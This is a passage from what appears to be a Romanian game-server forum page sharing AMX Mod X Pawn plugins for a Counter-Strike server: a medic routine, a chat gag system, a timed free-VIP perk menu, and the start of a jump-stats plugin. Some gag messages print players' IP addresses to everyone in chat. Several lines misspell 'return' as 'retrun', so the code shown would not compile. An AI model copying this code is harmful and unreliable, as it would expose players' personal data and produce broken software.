				}
				
				new Float:Lebenplus = get_pcvar_float(REG_HEALTH);
				
				if(ActuellHP + Lebenplus > get_pcvar_num(MAXHEALTH))
				{
					set_pev(id,pev_health,get_pcvar_float(MAXHEALTH))
				}
				else
				{
					set_pev(id,pev_health,ActuellHP + Lebenplus);
				}
				
				PlayerReload[id] = time() + get_pcvar_num(COOLDOWN)		/* Activate Reload */
				fm_cs_set_user_money(id,ActuellMoney-get_pcvar_num(COSTS),1)	/* Pay.. */
				
			}
			else
			{
				ColorChat(id,NORMAL,"^x04%s^x01 Ai deja^x03 %d HP^x01 !",TAG,get_pcvar_num(MAXHEALTH))
			}
			
		}
	}
	else
	{
		if(get_pcvar_num(MODE) != 1)
		ColorChat(id,NORMAL,"^x04%s^x03 Chemarea Medicului^x01 este^x04 DEZACTIVATA^x01 !",TAG)
		else
		{
			new Seconds = PlayerReload[id] - time()
			ColorChat(id,NORMAL,"^x04%s^x01 Prietene, chemi prea des medicul. Asteapta^x03 %i^x01 secunde..",TAG,Seconds)	
		}
	}
	return PLUGIN_HANDLED;
}

stock fm_cs_set_user_money(id,money,flash=1)
{
	set_pdata_int(id,OFFSET_CSMONEY,money,OFFSET_LINUX);
	
	message_begin(MSG_ONE,get_user_msgid("Money"),{0,0,0},id);
	write_long(money);
	write_byte(flash);
	message_end();
}

stock fm_cs_get_user_money(id)
{
	return get_pdata_int(id,OFFSET_CSMONEY,OFFSET_LINUX);
}

public current_weapon(id)
{
	if(!is_user_alive(id))
	{
		return PLUGIN_CONTINUE
	}
	
	if(cs_get_user_team(id) == CS_TEAM_T)
	{
		if(get_user_weapon(id) != CSW_KNIFE)
		{
			return PLUGIN_CONTINUE;
		}
		else
		{
			if(g_knife[id])
			{
				set_pev(id, pev_viewmodel2, "models/v_knife.mdl")
				set_pev(id, pev_weaponmodel2, "models/p_knife.mdl")
			}
			else
			{
				set_pev(id, pev_viewmodel2, "")
				set_pev(id, pev_weaponmodel2, "")
			}
		}
	}
	return PLUGIN_CONTINUE
}

public no_knife(id)
{
	if(is_user_alive(id))
	{
		if(cs_get_user_team(id))
		{
			if(g_knife[id])
			{
				g_knife[id] = false
				ham_strip_user_weapon(id, CSW_KNIFE);
				chat_color(id, ".v[.gHNS.PLAY-ARENA.RO.v].e Cutitul.g a.v Disparut")
				fm_give_item(id, "weapon_knife")
				engclient_cmd(id, "weapon_knife")
			}
			else
			{
				g_knife[id] = true
				ham_strip_user_weapon(id, CSW_KNIFE);
				chat_color(id, ".v[.gHNS.PLAY-ARENA.RO.v].g Acum iti vezi.e Cutitul")
				fm_give_item(id, "weapon_knife")
				engclient_cmd(id, "weapon_knife")
			}
		}
		else
		{
			chat_color(id, ".v[.gHNS.PLAY-ARENA.RO.v].g Esti.e CT.g Nu poti folosi acest.v Meniu.g.")
		}
	}
	else
	{
		chat_color(id, ".v[.gHNS.PLAY-ARENA.RO.v].g Trebuie sa fii in.e Viata.g pentru a folosi aceasta.v Comanda.g.")
	}
}


public command_chat( index )
{
	static szArg[ 192 ], command2[ 192 ];
	
	read_args( szArg, charsmax ( szArg ) );
	
	if( ! szArg [ 0 ] )	return PLUGIN_CONTINUE;
	
	remove_quotes( szArg[0] );
	
	for( new x; x < sizeof command; x++ )
	{
		if ( equal ( szArg, command [ x ], strlen ( command [ x ] ) ) )
			{
			if ( get_user_flags ( index ) & Caccess [ x ] )
				{
				replace( szArg, charsmax ( szArg ), bars, "" );
				formatex( command2, charsmax(command2), "amx_%s", szArg );
				client_cmd( index, command2 );
			}	
			
			break;
		}
	}
	return PLUGIN_CONTINUE;
}

public CheckGag( id ) 
{
	new szSaid[ 300 ];
	
	read_args( szSaid, charsmax( szSaid ) );
	remove_quotes( szSaid );
	
	if( !UTIL_IsValidMessage( szSaid ) )
	{
		return PLUGIN_HANDLED;
	}
	if(!is_user_connected(id))	retrun PLUGIN_HANDLED
	
	if ( PlayerGagged[ id ] == 1 ) 
		{
		PlayerGagged[ id ] = 1;
		
		ColorChat( id, RED, "^4%s^1 Ai primit Gag pentru limbaj vulgar, asteapta^4 %d^1 minute! Motiv^3 %s", get_tag( ), PlayerGagTime[ id ], g_reason );
		client_cmd( id, "speak ^"%s^"", gHalfLifeGaggedSounds[ random_num( 0, charsmax( gHalfLifeGaggedSounds ) ) ] );	
		
		return PLUGIN_HANDLED;
	}
	
	else
	{
		new i;
		for( i = 0; i < get_pcvar_num ( gCvarWords ); i++ )
		{
			if( containi( szSaid, g_Words[ i ] ) != -1 )
			{
				if( get_pcvar_num( gCvarAdminGag ) == 0 )
				{
					if ( is_user_admin ( id ) )
						{	
						return 1;
					}
				}
				
				get_user_name( id, szName, sizeof ( szName ) -1 );
				
				if ( get_pcvar_num( gCvarTagName ) == 1 )
					{
					client_cmd( id, "name ^"%s %s^"", gGagTag, szName );
				}
				
				szOldName[ id ] = szName;
				
				PlayerGagged[ id ] = 1;
				PlayerGagTime[ id ] = get_pcvar_num ( gCvarSwearGagTime );
				set_speak( id, SPEAK_MUTED );
				
				ColorChat( 0, RED, "^3%s^4 %s^1 (^3%s^1)^1 a primit AutoGag pentru limbaj sau reclama!", get_tag( ), GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ) );
				ColorChat( id, RED, "^4%s^1 Ai primit AutoGag pentru injuratura sau reclama! Timpul expira in:^4 %d^1 minute!", get_tag( ), PlayerGagTime[ id ] );
				ColorChat( id, RED, "^4%s^1 Nu mai poti folosi urmatoarele comenzi:^4 say^1,^4 say_team^1,^4 voice speak", get_tag( ) );
				
				log_to_file( gLogFileName, "[HNS.PLAY-ARENA.RO]<%s><%s><%s> a luat AutoGag pentru ca a injurat sau a facut reclama!", GetInfo( id, INFO_NAME ), GetInfo( id, INFO_IP ), GetInfo( id, INFO_AUTHID ) );
				client_cmd( id, "speak ^"%s^"", gGaggedSound );
				
				return PLUGIN_HANDLED;
			}
		}
	}
	
	return PLUGIN_CONTINUE;
}

public CommandGag( id )  
{  
	if( !(get_user_flags( id ) & COMMAND_ACCESS ) )
	{
		client_cmd( id, "echo %s Nu ai acces la aceasta comanda!", get_tag( ) );
		return 1;
	}
	if(!is_user_connected(id))	retrun PLUGIN_HANDLED
	
	new szArg[ 32 ], szMinutes[ 32 ];
	
	read_argv( 1, szArg, charsmax ( szArg ) );
	
	new reason[ 32 ];
	read_argv( 3, reason, sizeof reason - 1 );
	
	copy( g_reason, 31, reason );
	//copy( g_admin, 31, GetInfo( id, INFO_NAME ) );
	//copy( g_minutes, 31, szMinutes );
	//remove_quotes( reason );
	
	if( equal( szArg, "" ) )
	{
		client_cmd( id, "echo amx_gag < nume > < minute > < motiv >!" );
		return 1;
	}
	
	new iPlayer = cmd_target( id, szArg, 1 );
	
	if( !iPlayer )
	{
		client_cmd( id, "echo %s Jucatorul specificat nu a fost gasit!", get_tag( ) );
		return 1;
	}
	if(!is_user_connected(iPlayer))	retrun PLUGIN_HANDLED
	
	if ( get_pcvar_num( gCvarAdminGag ) == 0 )
		{
		if ( is_user_admin( iPlayer ) )
			{
			client_cmd( id, "echo %s Nu poti da gag la Admini!", get_tag( ) );
			return 1;
		}
	}
	
	read_argv( 2, szMinutes, charsmax ( szMinutes ) );
	
	new iMinutes = str_to_num( szMinutes );
	
	if ( iMinutes > get_pcvar_num ( gCvarGagMinuteLimit ) )
		{
		console_print( id, "%s Ai setat %d minute, iar limita maxima de minute este %d! Setare automata pe %d.", get_tag( ), iMinutes, get_pcvar_float ( gCvarGagMinuteLimit ), get_pcvar_float ( gCvarGagMinuteLimit ) );
		iMinutes = get_pcvar_num( gCvarGagMinuteLimit ) ;
	}
	
	get_user_name( iPlayer, szName, sizeof ( szName ) -1 );
	
	szOldName[ iPlayer ] = szName;
	
	if( PlayerGagged[ iPlayer ] == 1 ) 
	{
		client_cmd( id, "echo %s Jucatorul %s are deja Gag!", get_tag( ), GetInfo( iPlayer, INFO_NAME ) );
		return 1;
	} 
	
	if ( get_pcvar_num( gCvarTagName ) == 1 )
		{
		client_cmd( iPlayer, "name ^"%s %s^"", gGagTag, szName );
	}
	
	PlayerGagged[ iPlayer ] = 1;
	PlayerGagTime[ iPlayer ] = iMinutes;
	set_speak( iPlayer, SPEAK_MUTED );
	
	ColorChat( 0, RED, "^4%s^1 ADMIN^4 %s:^1 Gag^3 %s^1(^3%s^1) pentru^4 %d^1 minute! Motiv^3 %s", get_tag( ), GetInfo( id, INFO_NAME ), GetInfo( iPlayer, INFO_NAME ), GetInfo( iPlayer, INFO_IP ), iMinutes, reason ); 
	ColorChat( iPlayer, RED, "^4%s^1 Ai primit Gag pentru ca ai injurat sau ai facut reclama!", get_tag( ) ); 
	ColorChat( iPlayer, RED, "^4%s^1 Nu mai poti folosi urmatoarele comenzi:^4 say^1,^4 say_team^1,^4 voice speak", get_tag( ) );
	ColorChat( iPlayer, RED, "^4%s^1 Ai primit gag de la^3 %s^1 pentru^4 %d^1 minute! Motiv^3 %s", get_tag( ), GetInfo( id, INFO_NAME ), iMinutes, reason );
	
	log_to_file( gLogFileName, "[HNS.PLAY-ARENA.RO-GAG]%s i-a dat gag lui <%s><%s><%s> pentru <%d> minute", GetInfo( id, INFO_NAME ), GetInfo( iPlayer, INFO_NAME ), GetInfo( iPlayer, INFO_IP ), GetInfo( iPlayer, INFO_AUTHID ), iMinutes );
	client_cmd( iPlayer, "speak ^"%s^"", gGaggedSound );
	
	return PLUGIN_HANDLED;
}

public CommandUngag( id )  
{  
	if( !(get_user_flags( id ) & COMMAND_ACCESS ) )
	{
		client_cmd( id, "echo %s Nu ai acces la aceasta comanda!", get_tag( ) );
		return 1;
	}
	if(!is_user_connected(id))	retrun PLUGIN_HANDLED
	
	new szArg[ 32 ];
	
	read_argv( 1, szArg, charsmax( szArg ) );
	
	if( equal( szArg, "" ) )
	{
		client_cmd( id, "echo amx_ungag < nume > !" );
		return 1;
	}
	
	new iPlayer = cmd_target ( id, szArg, 8 );
	
	if( !iPlayer )
	{
		client_cmd(  id, "echo %s Jucatorul specificat nu a fost gasit!", get_tag( ) );
		return 1;
	}
	if(!is_user_connected(iPlayer))	retrun PLUGIN_HANDLED
	
	if( PlayerGagged[ iPlayer ] == 0 ) 
	{
		console_print( id, "%s Jucatorul %s nu are Gag!", get_tag( ), GetInfo( iPlayer, INFO_NAME ) );
		return 1;
	}
	
	if ( get_pcvar_num ( gCvarTagName ) == 1 )
		{
		client_cmd( iPlayer, "name ^"%s^"", szOldName[ iPlayer ] );
	}
	
	PlayerGagged[ iPlayer ] = 0;
	PlayerGagTime[ iPlayer ] = 0;
	set_speak( iPlayer, SPEAK_NORMAL );
	
	ColorChat( 0, RED, "^4%s^1 ADMIN^4 %s:^1 Ungag^3 %s^1(^3%s^1|^3%s^1)", get_tag( ), GetInfo( id, INFO_NAME ), GetInfo( iPlayer, INFO_NAME ), GetInfo( iPlayer, INFO_IP ), GetInfo( iPlayer, INFO_AUTHID ) ); 
	ColorChat( iPlayer, RED, "^4%s^1 Ai primit Ungag de la adminul: ^4%s^1, ai grija la limbaj data viitoare!", get_tag( ), GetInfo( id, INFO_NAME ) );
	
	log_to_file( gLogFileName, "[HNS.PLAY-ARENA.RO-UNGAG]<%s> i-a dat ungag lui <%s><%s><%s>", GetInfo( id, INFO_NAME ), GetInfo( iPlayer, INFO_NAME ), GetInfo( iPlayer, INFO_IP ), GetInfo( iPlayer, INFO_AUTHID ) );
	client_cmd( iPlayer, "speak ^"%s^"", gUnGaggedSound );
	
	return PLUGIN_HANDLED;
}

public Forward_GagThinker( iEntity )
{
	if ( pev_valid( iEntity ) )
		{
		set_pev( iEntity, pev_nextthink, get_gametime( ) + 1.0 ) ;
		
		new id;
		for ( id = 1; id <= gMaxPlayers; id++ )
		{
			if ( is_user_connected ( id ) 	
			&& ! is_user_bot( id )
			&& PlayerGagged[ id ] == 1 
			&& PlayerGagTime[ id ] > 0
			&& ( ( get_systime( ) - JoinTime[ id ] ) >= get_pcvar_num ( gCvarGagMinuteInSeconds ) ) )
			{
				JoinTime[ id ] = get_systime( );
				PlayerGagTime[ id ] -= 1;
				
				if ( PlayerGagTime[ id ] <= 0 )
					{
					PlayerGagTime[ id ] = 0;
					PlayerGagged[ id ] = 0;
					set_speak( id, SPEAK_NORMAL );
					
					ColorChat( id, RED, "^4%s^3 Ai primit UnGag, ai grija la limbaj data viitoare!", get_tag( ) );
					log_to_file( gLogFileName, "[HNS.PLAY-ARENA.RO-AUTOUNGAG]<%s> a primit AutoUnGag!", GetInfo( id, INFO_NAME ) );
					
					client_cmd( id, "speak ^"%s^"", gUnGaggedSound );
					client_cmd( id, "name ^"%s^"", szOldName[ id ] );
				}
			}
		}
	}
}

stock SaveGag( id )
{
	gVault = nvault_open( gGagVaultName );
	
	new szIp[ 40 ], szVaultKey[ 64 ], szVaultData[ 64 ];
	get_user_ip( id, szIp, charsmax( szIp ) );
	
	formatex( szVaultKey, charsmax( szVaultKey ), "%s-Gag", szIp );
	formatex( szVaultData, charsmax( szVaultData ), "%i#%i", PlayerGagged[ id ], PlayerGagTime[ id ] );
	
	nvault_set( gVault, szVaultKey, szVaultData );
	nvault_close( gVault );
}

stock LoadGag( id )
{
	gVault = nvault_open( gGagVaultName );
	
	new szIp[ 40 ], szVaultKey[ 64 ], szVaultData[ 64 ];
	get_user_ip( id, szIp, charsmax ( szIp ) );
	
	formatex( szVaultKey, charsmax( szVaultKey ), "%s-Gag", szIp );
	formatex( szVaultData, charsmax( szVaultData ), "%i#%i", PlayerGagged[ id ], PlayerGagTime[ id ] );
	nvault_get( gVault, szVaultKey, szVaultData, charsmax ( szVaultData ) );
	
	replace_all( szVaultData, charsmax( szVaultData ), "#", " " );
	
	new iGagOn[ 32 ], iGagTime [ 32 ];
	parse( szVaultData, iGagOn, charsmax ( iGagOn ), iGagTime, charsmax ( iGagTime ) );
	
	PlayerGagged[ id ] = str_to_num ( iGagOn );
	PlayerGagTime[ id ] = clamp ( str_to_num ( iGagTime ), 0, get_pcvar_num ( gCvarGagMinuteLimit ) );
	
	nvault_close( gVault );
}

stock GagThinker( )
{
	new iEntity = create_entity ( "info_target" );
	
	if( ! pev_valid ( iEntity ) )
	{
		return PLUGIN_HANDLED;
	}
	
	set_pev ( iEntity, pev_classname, gGagThinkerClassname );
	set_pev ( iEntity, pev_nextthink, get_gametime( ) + 1.0 );
	
	return PLUGIN_HANDLED;
}

stock get_tag( )
{
	new szTag [ 65 ];
	get_pcvar_string( gCvarTag, szTag, sizeof ( szTag ) -1 );
	
	return szTag;
}

stock GetInfo( id, const iInfo )
{
	if(!is_user_connected(id))	retrun PLUGIN_HANDLED
	new szInfoToReturn[ 64 ];
	
	switch( iInfo )
	{
		case INFO_NAME:
		{
			new szName[ 32 ];
			get_user_name( id, szName, sizeof ( szName ) -1 );
			
			copy( szInfoToReturn, sizeof ( szInfoToReturn ) -1, szName );
		}
		case INFO_IP:
		{
			new szIp[ 32 ];
			get_user_ip( id, szIp, sizeof ( szIp ) -1, 1 );
			
			copy( szInfoToReturn, sizeof ( szInfoToReturn ) -1, szIp );
		}
		case INFO_AUTHID:
		{
			new szAuthId[ 35 ];
			get_user_authid( id, szAuthId, sizeof ( szAuthId ) -1 );
			
			copy( szInfoToReturn, sizeof ( szInfoToReturn ) -1,  szAuthId );
		}
	}
	
	return szInfoToReturn;
}

stock bool:UTIL_IsValidMessage( const szSaid[ ] )
{
	new iLen = strlen( szSaid );
	
	if( !iLen )
	{
		return false;
	}
	
	for( new i = 0; i < iLen; i++ )
	{
		if( szSaid[ i ] != ' ' )
		{
			return true;
		}
	}
	
	return false;
}

stock chat_color(const id, const input[], any:...)
{
	new count = 1, players[32]
	static msg[191]
	vformat(msg, 190, input, 3)
	
	replace_all(msg, 190, ".v", "^4")
	replace_all(msg, 190, ".g", "^1")
	replace_all(msg, 190, ".e", "^3")
	
	if (id) players[0] = id; else get_players(players, count, "ch")
	{
		for (new i = 0; i < count; i++)
		{
			if (is_user_connected(players[i]))
				{
				message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i])
				write_byte(players[i]);
				write_string(msg);
				message_end();
			}
		}
	}
}

stock ham_strip_user_weapon(id, iCswId, iSlot = 0, bool:bSwitchIfActive = true)
{
	new iWeapon;
	if(!iSlot)
	{
		static const iWeaponsSlots[] = {
			-1,
			2, //CSW_P228
			-1,
			1, //CSW_SCOUT
			4, //CSW_HEGRENADE
			1, //CSW_XM1014
			5, //CSW_C4
			1, //CSW_MAC10
			1, //CSW_AUG
			4, //CSW_SMOKEGRENADE
			2, //CSW_ELITE
			2, //CSW_FIVESEVEN
			1, //CSW_UMP45
			1, //CSW_SG550
			1, //CSW_GALIL
			1, //CSW_FAMAS
			2, //CSW_USP
			2, //CSW_GLOCK18
			1, //CSW_AWP
			1, //CSW_MP5NAVY
			1, //CSW_M249
			1, //CSW_M3
			1, //CSW_M4A1
			1, //CSW_TMP
			1, //CSW_G3SG1
			4, //CSW_FLASHBANG
			2, //CSW_DEAGLE
			1, //CSW_SG552
			1, //CSW_AK47
			3, //CSW_KNIFE
			1 //CSW_P90
		}
		iSlot = iWeaponsSlots[iCswId];
	}
	
	const XTRA_OFS_PLAYER = 5;
	const m_rgpPlayerItems_Slot0 = 367;
	
	iWeapon = get_pdata_cbase(id, m_rgpPlayerItems_Slot0 + iSlot, XTRA_OFS_PLAYER);
	
	const XTRA_OFS_WEAPON = 4;
	const m_pNext = 42;
	const m_iId = 43;
	
	while(iWeapon > 0)
	{
		if(get_pdata_int(iWeapon, m_iId, XTRA_OFS_WEAPON) == iCswId)
		{
			break;
		}
		iWeapon = get_pdata_cbase(iWeapon, m_pNext, XTRA_OFS_WEAPON);
	}
	if(iWeapon > 0)
	{
		const m_pActiveItem = 373;
		if(bSwitchIfActive && get_pdata_cbase(id, m_pActiveItem, XTRA_OFS_PLAYER) == iWeapon)
		{
			ExecuteHamB(Ham_Weapon_RetireWeapon, iWeapon);
		}
		if(ExecuteHamB(Ham_RemovePlayerItem, id, iWeapon))
		{
			user_has_weapon(id, iCswId, 0);
			ExecuteHamB(Ham_Item_Kill, iWeapon);
			return 1;
		}
	}
	return 0;
}

stock chat_colorx( const id, const input[ ], any:... )
{
	new count = 1, players[ 32 ]
	static msg[ 191 ]
	vformat( msg, 190, input, 3 )
	
	replace_all( msg, 190, "!g", "^4" )
	replace_all( msg, 190, "!n", "^1" )
	replace_all( msg, 190, "!t", "^3" )
	replace_all( msg, 190, "!t2", "^0" )
	
	if( id ) players[ 0 ] = id
	
	else
	get_players( players, count, "ch" )
	{
		for( new i = 0; i < count; i++ )
		{
			if( is_user_connected( players[ i ] ) )
			{
				message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] )
				write_byte( players[ i ] )
				write_string( msg )
				message_end( )
			}
		}
	}
}

//#pragma semicolon	1

free-vip

Code: Select all

//	LAST EDIT ON - 05.04.2019 & 20:27

#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <fun>
#include <hamsandwich>
//#include <colorchat>

new bool:vip_free,bool:has_godmode[33],bool:has_gravity[33],bool:has_speed[33],Float:Gravity
const KEYSMENU = MENU_KEY_1|MENU_KEY_2|MENU_KEY_3|MENU_KEY_4|MENU_KEY_5|MENU_KEY_6|MENU_KEY_7|MENU_KEY_8|MENU_KEY_9|MENU_KEY_0
//new scout[33]=0

public plugin_init()
{
	check_time( )
	set_task( 10.0, "check_time", _, _, _, "b" )
	register_menu("Game Menu", KEYSMENU, "radio")
	register_event("CurWeapon" , "CWeapon" , "be" , "1=1" );
	RegisterHam( Ham_Spawn, "player", "ham_SpawnPlayerPost", true );

	//register_logevent ( "round_start", 2, "1=Round_Start" );
}

public client_disconnected(id)
{
	//scout[id]=0
	has_speed[id]=false
	has_godmode[id]=false
	has_gravity[id]=false
}

public check_time( )
{
	new o, m, s;
	time(o, m, s)

	if( o >= 18 && o <= 24 )
	{
		if( !vip_free )
		{
			xCoLoR(0, "!v[!nFREE-VIP!v]!n Fiind trecut de ora!e 18:00!n, toti jucatorii conectati au primit acces!v *V.I.P*!n, pana la ora!e 00:00!n !");
		}
		vip_free = true;
		//server_cmd( "amx_default_access ^"bt^"" );
		//server_cmd( "amx_reloadadmins" );
	}
	else
	{
		if( vip_free )
		{
			xCoLoR(0, "!v[!nFREE-VIP!v]!n Fiind trecut de ora!e 00:00!n, eventul!v *V.I.P*!n, a luat!e Sfarsit!n, si va reincepe la ora!v 18:00!n !");
		}
		vip_free = false;
		//server_cmd( "amx_default_access ^"z^"" );
		//server_cmd( "amx_reloadadmins" );
	}
}

/*public round_start ( )
{
	new iPlayers [ 32 ], iNum, i;
	get_players ( iPlayers, iNum, "ch" );

	if ( !iNum )	return;

	for ( i = 0; i < iNum; i++ )
	{
		new id = iPlayers [ i ];

		if ( scout[ id ] > 0 )
		{
			scout [ id ]--;
		}
		else if ( scout[ id ] > 3 )
		{
			scout [ id ] = 0;
		}
	}
}*/

public ham_SpawnPlayerPost(id)
{
	if(vip_free&&is_user_alive(id))
	{
		has_godmode[id]=false
		has_gravity[id]=false
		has_speed[id]=false
		ShowMenu(id)
	}
}

public ShowMenu(id)
{
	static menu[512], len 
	len = 0
	
	//   new len = formatex( menu, 255, "\r[\yHNS.PLAY-ARENA.RO\r] \w- Invizibilitate \y[\rFPS\y]^n^n" );
	
	len += formatex(menu[len], charsmax(menu) - len, "\w[\r HNS.PLAY-ARENA.RO\w -\r FREE V.I.P \w]^n^n") 
	//len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w1\r]\w -\r Scout [\w3\r] [\wGL\r]^n") 
	len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w1\r]\w -\r GodMode [\w5\r] [\wSEC\r]^n") 
	len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w2\r]\w -\r Gravity [\w400\r] [\w30\r] [\wSEC\r]^n") 
	len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w3\r]\w -\r Speed [\w300\r] [\w30\r] [\wSEC\r]^n") 
	len += formatex(menu[len], charsmax(menu) - len, "\w-\r[\w4\r]\w -\r Medic [\w15$\r]^n^n") 
	
    /*len += formatex( menu[len], 255 - len, "^n\r0. \yIesire" );
    show_menu( id, ( 1<<0 | 1<<1 | 1<<9 ), menu, -1 );*/
	
	show_menu(id, KEYSMENU, menu, -1, "Game Menu") 

	return 1;
}
public radio ( id , key )
{
	switch ( key )
	{
		/*case 0:
		{
			if(!is_user_alive(id))
			{
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Trebuie sa fii in viata")
				return PLUGIN_HANDLED
			}

			if ( scout [ id ] > 0 )
			{
				ColorChat ( id, NORMAL, "^x04[HnS.Play-Arena.Ro]^x01 Poti folosii^x03 SCOUT^x01-ul odata la^x04 2^x01 runde. Mai ai de asteptat^x03 %i^x01 rund%s", scout [ id ], scout [ id ] == 1 ? "a" : "e" );
				return PLUGIN_HANDLED;
			}
			else
			{
				give_item(id,"weapon_scout")
				new eNtry = find_ent_by_owner ( -1, "weapon_scout", id );

				if ( eNtry )
				{
					cs_set_weapon_ammo ( eNtry, 3 );
				}
				scout[id]=3
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai primit!e Scout!n cu!v 3GL")
			}
		}*/

		case 0:
		{
			if(!is_user_alive(id))
			{
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Trebuie sa fii in viata")
				return PLUGIN_HANDLED
			}

			if(has_godmode[id])
			{
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai deja!e GodMode")
				return PLUGIN_HANDLED
			}
			else
			{
				has_godmode[id]=true
				set_user_godmode(id,1)
				set_task(5.0,"REMOVE_GODMODE",id)
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai primit!g GodMode!n pentru!v 5 Secunde")
			}
		}
		
		case 1:
		{
			if(!is_user_alive(id))
			{
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Trebuie sa fii in viata")
				return PLUGIN_HANDLED
			}
		
			if(has_gravity[id])
			{
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai deja!e Gravitiatie")
				return PLUGIN_HANDLED
			}
			else
			{
				has_gravity[id]=true
				Gravity=400.0/500.0
				set_user_gravity(id,Gravity)
				set_task(30.0,"REMOVE_GRAVITY",id)
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai primit!e Gravitatie!n pentru!v 30 Secunde")
			}
		}
		
		case 2:
		{
			if(!is_user_alive(id))
			{
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Trebuie sa fii in viata")
				return PLUGIN_HANDLED
			}

			if(has_speed[id])
			{
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai deja!e Speed")
				return PLUGIN_HANDLED
			}
			else
			{
				has_speed[id]=true
				set_user_maxspeed(id,300.0)
				set_task(30.0,"REMOVE_SPEED",id)
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai primit!e Speed!n pentru!v 30 Secunde")
			}
		}
		
		case 3:
		{
			if(!is_user_alive(id))
			{
				xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Trebuie sa fii in viata")
				return PLUGIN_HANDLED
			}

			cs_set_user_money(id,cs_get_user_money(id)+15)
			xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Ai primit!e +15!v$!n pentru!e Medic!n !")
		}
	}
	return 1;
}

public CWeapon(id)
{
	if(is_user_alive(id))
	{
		Gravity=400.0/500.0
		if(get_user_weapon(id))
		{
			if(has_gravity[id])	set_user_gravity(id,Gravity)
			if(has_speed[id])	set_user_maxspeed(id,300.0)
		}
	}
}

public REMOVE_GRAVITY(id)
{
	if(is_user_connected(id)&&has_gravity[id])
	{
		has_gravity[id]=false
		remove_task(id)
		set_user_gravity(id,1.0)
		xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Tocmai ti-a expirat!e Gravitatia")
	}
}

public REMOVE_SPEED(id)
{
	if(is_user_connected(id)&&has_speed[id])
	{
		has_speed[id]=false
		remove_task(id)
		set_user_maxspeed(id,250.0)
		xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Tocmai ti-a expirat!e Viteza")
	}
}

public REMOVE_GODMODE(id)
{
	if(is_user_connected(id)&&has_godmode[id])
	{
		has_godmode[id]=false
		remove_task(id)
		set_user_godmode(id)
		xCoLoR(id,"!v[HnS.Play-Arena.Ro]!n Tocmai ti-a expirat!e GodMode-ul")
	}
}

stock xCoLoR( const id, const input[ ], any:... )
{
	new count = 1, players[ 32 ];
	static msg[ 191 ];
	
	vformat( msg, 190, input, 3 );
	
	replace_all( msg, 190, "!v", "^4" );
	replace_all( msg, 190, "!n", "^1" );
	replace_all( msg, 190, "!e", "^3" );
	replace_all( msg, 190, "!e2", "^0" );
	
	if( id )
	{
		players[ 0 ] = id;
	}
	
	else get_players( players, count, "c" );
	for( new i = 0; i < count; i++ )
	{
		if( is_user_connected( players[ i ] ) )
		{
			message_begin( MSG_ONE_UNRELIABLE, get_user_msgid( "SayText" ), _, players[ i ] );
			write_byte( players[ i ] );
			write_string( msg );
			message_end( );
		}
	}
}

un cod fixat

Code: Select all

#include <amxmodx>
#include <amxmisc>
#include <colorchat>
#include <fakemeta>
#include <engine>
#include <fakemeta_util>

#pragma semicolon 1

#define COMMAND_PROTECTION
#define JOKES

#define INFO_ONE 1
#define INFO_ZERO 0
#define NSTRAFES 14
#define NTOP 23
#define NSHOW 10
#define MAPSHOW 4 // show first 3

//enums
#define TYPE_NONE 0
#define TYPE_LJ 1
#define TYPE_CJ 2
#define TYPE_BJ 3
#define TYPE_HJ 4
#define TYPE_FEJ 5 //fireEscape jump
#define TYPE_LaJ 5 //ladder jump
#define TYPE_SBJ 6 //stand-up bhop
#define TYPE_WJ 7  //weird jump
#define TYPE_LCHJ 10 //Lj && Cj && Hj
#define TYPE_SBBJ 20 //Bj && SBJ

#define DIST_LEET 1
#define DIST_PRO 2
#define DIST_GOOD 3
#define DIST_GOD 4

#define TOP_MAP 0
#define TOP_LJ  1
#define TOP_CJ  2
#define TOP_BJ  3
#define TOP_SBJ 4
#define TOP_HJ  5
#define TOP_FEJ 6
#define TOP_LaJ 6
#define TOP_WJ 7

//Iterator
new jj;

//For PreThink
new Float:weapSpeed[33];
new Float:weapSpeedOld[33];
new strLen;
new strMess[40*NSTRAFES];
new strMessBuf[40*NSTRAFES];
new goodSyncTemp;
new badSyncTemp;
new Float:time_;
new Float:maxPreSpeedWeapon;
new Float:maxBhopPreSpeedWeap;
new Float:Fulltime;
new ljStatsRed;
new ljStatsGreen;
new ljStatsBlue;
new ljs_beam;
new sync_;


// Ints & strings
new server_settings[34][27][16];
new plugin_id;
new plugin_file_name[64];
new pluginstatus;
new gBeam;
new jumptype[33];
//new vJumpedAtEnt[33];
new strafes[33];
new ljsDir[64];
new pre_type[33][32];

new top_names[NTOP][129];
//new top_authid[NTOP][33];
new top_distance[NTOP];
new top_maxspeed[NTOP];
new top_prestrafe[NTOP];
new top_strafes[NTOP];
new top_sync[NTOP];
new top_type[NTOP][5];
new top_pretype[NTOP][32];

new map_names[NSHOW][129];
new map_authid[NSHOW][33];
new map_distance[NSHOW];
new map_maxspeed[NSHOW];
new map_prestrafe[NSHOW];
new map_strafes[NSHOW];
new map_sync[NSHOW];
new map_type[NSHOW][5];
new map_pretype[NSHOW][32];

new cj_names[NTOP][129];
new cj_authid[NTOP][33];
new cj_distance[NTOP];
new cj_maxspeed[NTOP];
new cj_prestrafe[NTOP];
new cj_strafes[NTOP];
new cj_sync[NTOP];
new cj_pretype[NTOP][32];

new bj_names[NTOP][129];
new bj_authid[NTOP][33];
new bj_distance[NTOP];
new bj_maxspeed[NTOP];
new bj_prestrafe[NTOP];
